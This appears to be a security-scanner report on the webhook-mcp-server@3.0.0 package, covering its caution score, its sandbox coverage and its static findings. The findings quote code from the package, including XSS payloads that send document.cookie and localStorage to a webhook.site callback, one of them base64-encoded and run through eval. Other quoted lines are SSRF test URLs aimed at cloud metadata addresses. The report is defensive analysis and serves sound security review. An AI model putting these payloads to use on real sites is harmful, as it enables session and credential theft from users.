webhook-mcp-server@3.0.0
CAUTION· not startedPublisher claims: "MCP Server for webhook.site API integration with layered architecture" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
WEBHOOK_SITE_API_KEY- Where it talks to
- webhook.site (its own)Also evil.com, nip.io — not the publisher's domain; check what for before connecting.
- What we saw when it ran
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names evil.com, nip.io as well as its own vendor. The guard injects WEBHOOK_SITE_API_KEY only into requests to webhook.site (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-21 and scored it 78/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; document.cookie access; Hidden zero-width characters detected. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
ensure_public_http_url("http://10.1.2.3/verify", allow)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."http://10.1.2.3/verify",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.…-646b82c00b22\",{method:\"POST\",body:JSON.stringify({url:location.href,cookies:document.cookie,localStorage:JSON.stringify(localStorage)})})</script>", "onerror": "<img …Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.assert extract_urls("https://example.com/x​ and https://example.com/y.") == [Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.…ry strings alone), handles IPv6-literal URLs, ranks verify / confirm links and "Verify your email" anchor text ahead of login links, and never returns unsubscribe or asset links…Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.payloads["cookie_steal"] = f'<script>fetch("{callback_url}?c="+document.cookie)</script>'Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."subject": "Verify your account"Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct."message": "Email received: Verify your account",Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.assert result.data["blocked_redirect"]["url"] == "http://10.0.0.5/app"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(cmd, cwd=ROOT, capture_output=True, text=True, encoding="utf-8", errors="replace", timeout=600, shell=os.name == "nt")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."cookie_img": "<img src=x onerror=\"this.src='https://webhook.site/9b870239-0f78-4dd2-b242-646b82c00b22?c='+document.cookie\">",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."subject": "Verify your account",Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct."http://168.63.129.16/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.payloads["cookie_img"] = f'<img src=x onerror="this.src=\'{callback_url}?c=\'+document.cookie">'Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls._URL_END = re.compile(r"""[\s<>"']""")Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.ensure_public_http_url("http://192.168.1.5/verify", allow)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."cookie_steal": "<script>fetch(\"https://webhook.site/9b870239-0f78-4dd2-b242-646b82c00b22?c=\"+document.cookie)</script>",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.assert result.data["blocked_redirect"]["url"] == "http://169.254.169.254/latest"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return_value=httpx.Response(303, headers={"location": "http://10.0.0.5/app"})Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.payloads["base64"] = f'<script>eval(atob("{self._base64_encode(encoded_fetch)}"))</script>'Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.…{callback_url}",{{method:"POST",body:JSON.stringify({{url:location.href,cookies:document.cookie,localStorage:JSON.stringify(localStorage)}})}})</script>''' # …Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."content": "<p>Your verification code is 847291.</p><p><a href=\"https://example.com/verify?token=abc&u=1\">Verify your email</a></p>",Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct."http://168.63.129.16/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."content": "<p>Your verification code is 847291.</p><p><a href=\"https://example.com/verify?token=abc&u=1\">Verify your email</a></p>"Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.return_value=httpx.Response(302, headers={"location": "http://169.254.169.254/latest"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose._inbox(_email("m", "Click http://10.0.0.5/verify?token=abc"))Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for webhook-mcp-server@3.0.0 as of 37 min ago. This is the package itself, not its dependencies.
What would make this Verified
2 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Unclaimed publisher≈ +8 on the totalClaim zebbern: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- document.cookie access≈ +2 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
- Hidden zero-width characters detected≈ +2 on the totalKeep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
- Python subprocess execution detected≈ +2 on the totalPut hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
- HTTP URL with a raw public IP address≈ +2 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
- URL to the cloud instance metadata address≈ +2 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.